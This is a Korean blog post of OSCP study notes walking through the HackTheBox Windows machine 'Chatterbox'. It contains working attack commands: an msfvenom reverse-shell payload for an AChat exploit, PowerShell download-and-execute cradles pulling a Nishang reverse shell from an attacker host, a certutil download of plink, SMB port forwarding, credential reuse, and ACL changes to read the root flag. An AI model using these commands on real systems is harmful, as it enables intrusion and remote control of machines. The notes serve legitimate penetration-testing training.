OSCP/HackTheBox

[Windows] Chatterbox

우와해커 2020. 9. 24. 17:09

Chatterbox

- Exploit POC 스크립트를 수정하는 법을 알아야함

- 파워쉘 명령어에 익숙해야함



Achat.exe에 대한 exploit이 존재함

=> 페이로드 poc가 cmd 실행으로 되어있어서 리버스 쉘 옵션으로 교체함

그 외 배드캐릭터 옵션과 인코딩 등 다른 옵션들은 그대로 사용


msfvenom -a x86 platform windows -p windows/shell_reverse_tcp

lhost=... lport=... -e x86/unicode_mixed -b "\x00...." BufferRegister=EAX -f python 


완성된 쉘코드를 파이썬 스크립트 상에서 교체 후 타겟 IP와 포트 확인 후 변경하여 Exploit



+POC 분석에 대하여 

1152 - len(Payload)

이 코드를 보고 1152는 페이로드의 맥시멈 사이즈로 예상할 수 있음

따라서, 리버스 쉘 페이로드가 이 크기보다 아래의 값으로 작성되야됨


생성된 페이로드 사이즈 줄이는 팁

1. 오리지널 리버스 파워쉘 생성: 15246바이트가 생성됨

msfvenom -a x86 platform windows -p windows/powershell_reverse_tcp

lhost=... lport=... -e x86/unicode_mixed -b "\x00...." BufferRegister=EAX -f python 


2. CMD변수를 사용: 700바이트로 줄어듬(파이썬 크기가 아닌 페이로드 크기를 봐야됨)

msf venom -a x86 --platform windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.10.14.30/PleaseSubscribe.ipp')\"" -b "......" BufferRegister=EAX -f python


3. Nishang 파워쉘 셋업하기

3.1. Invoke-Powershell-TCP.ps1 스크립트 복사

3.2. 마지막 부분에 옵션 추가(다운로드 후 바로 트리거되기 위함)  Invoke-PowershellTcp -Reverse -IPAddress 10.10.14.30 -Port 9002

3.3. 이름 변경 

mv Invoke-Powershell-TCP.ps1 PleaseSubscribe.ipp

3.4. 스크립트 트리거 후 nc 9002번 대기 

=> 파워쉘 세션생성




권한상승 Recon

- Sherlock.ps1: half쉘에서 실행하면 Exploit 취약점 목록을 열거할 수 있음

- PowerUp.ps1: 스크립트를 사용하려면 먼저 Nishang 파워쉘로 fully interactive 세션으로 접근해야됨

PS> iex(New-Object Net.WebClient).downloadString('http://10.10.14.30/PowerUp.ps1')

파워쉘 상에서 iex 명령으로 인해 다운받은 스크립트가 장착됨.

바로 매소드 호출

PS> Invoke-AllChecks



플래그 얻는 두가지 방법

1. winPEAS.bat 또는 PowerUp.ps1돌리면 Alfred 하드코드 취약점 발견

=> administrator 같은 패스워드(re-use) 사용 체크


powershell사용하여 연결 또는 SMB 오픈 후 impacket의 psexec를 통해 연결하여 Administrator 접근을 시도해볼 수 있다.


1.1 powershell 사용하기

$cred 변수에 관리자 세션의 credential을 저장한다.

PS> $passwd = ConvertTo-SecureString 'Welcome1!' -AsPlainText -Force;$creds =New-Object System.Management.Automation.PSCredential('administrator' $passwd)


전에 사용했던 니샹쉘 다시 실행시켜서 해당 관리자 세션으로 러버스 쉘이 연결되도록한다.

아래 명령 사용하기전에 니샹 쉘을 편집하여 포트번호를 중복되지 않게 수정해줄것.

PS> Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.webClient).downloadString('http://내아이피/니샹쉘')" -Credential $creds


Kali> nc -lnvp [포트번호]

PS> whoami



2. plink 445 포트포워딩 (SMB)

certutil 사용해서 plink 다운로드

cmd> certutil -urlcache -f http://10.10.14.18/plink.exe plink.exe


내 ssh데몬 설정파일 편집 

/etc/ssh/sshd_config

PermitRootLogin yes로 변경 후 서비스 실행

kali> service ssh start


plink로 칼리 연결

plink.exe -l root -pw toor -R 445:127.0.0.1:445 10.10.14.18

–l = username of our target machine (our Kali box)

-pw = password of our Kali box

-R = port forward


On Port 445 on our Windows box, I want to redirect that to port 445 on my Kali box.

Click “Yes” when prompted about storing the key. Then hit Enter a few times until you see the root@kali login:

You can verify your port forward by typing netstat -ano | grep 445


WinExe(psexec) (이 프로그램을 사용하려면 445포트가 오픈되어 있어야함)

This tool is a Linux based tool which then runs commands on a Windows system. 

To get going, we’ll try this command: winexe -U Administrator%Welcome1! //127.0.0.1 “cmd.exe”




2. Alfred가 root.txt에 대한 권한을 가지고 있어서 ACL변경을 통해

읽을 수 있음



admin폴더 접근 가능, root플래그 읽기 불가


파일 읽기

PS> gc root.txt


권한확인

PS> icalcs root.txt

Administrator:(F) <- 관리자만 full access접근 허용


PS> icalcs ..\Desktop

Alfred:(F) <- Aflred는 Desktop에 full access접근 권한이 있다.


상위 폴더에 풀접근이 있어서 파일에 권한 부여시도함

PS> icacls root.txt /grant alfred:f


PS> (gc root.txt).substring(0,16)

gc는 Get-Content의 약어


CMD에서 상위디렉토리 권한 확인할 경우(cacls)

C:\Users\Administrator\Desktop>cacls C:\Users\Administrator\Desktop

  cacls C:\Users\Administrator\Desktop

  C:\Users\Administrator\Desktop NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F

                                 CHATTERBOX\Administrator:(OI)(CI)(ID)F

                                 BUILTIN\Administrators:(OI)(CI)(ID)F

                                 CHATTERBOX\Alfred:(OI)(CI)(ID)F

'OSCP > HackTheBox' 카테고리의 다른 글

[Windows] Batard  (0) 2020.09.27
[Windows] Access  (0) 2020.09.26
[Windows] Jerry  (0) 2020.09.24
[Linux] SwagShop  (0) 2020.09.18
[Linux] Irked  (0) 2020.09.16